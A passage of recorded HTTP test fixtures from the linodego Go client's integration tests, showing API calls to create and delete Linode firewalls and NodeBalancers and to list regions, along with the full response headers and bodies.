application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228222}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441133, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-87-36.ip.linodeusercontent.com", "ipv4": "172.232.87.36", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441133/stats method: GET response: body: '{"errors": [{"reason": "Stats are unavailable at this time."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=60 Content-Length: - "63" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "100" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441133 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228222 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancer_Create.yaml000066400000000000000000000535051455402072200321070ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228223, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228223}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441134, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-41.ip.linodeusercontent.com", "ipv4": "172.232.86.41", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441134 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228223 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancer_Get.yaml000066400000000000000000000571431455402072200314250ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228226, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 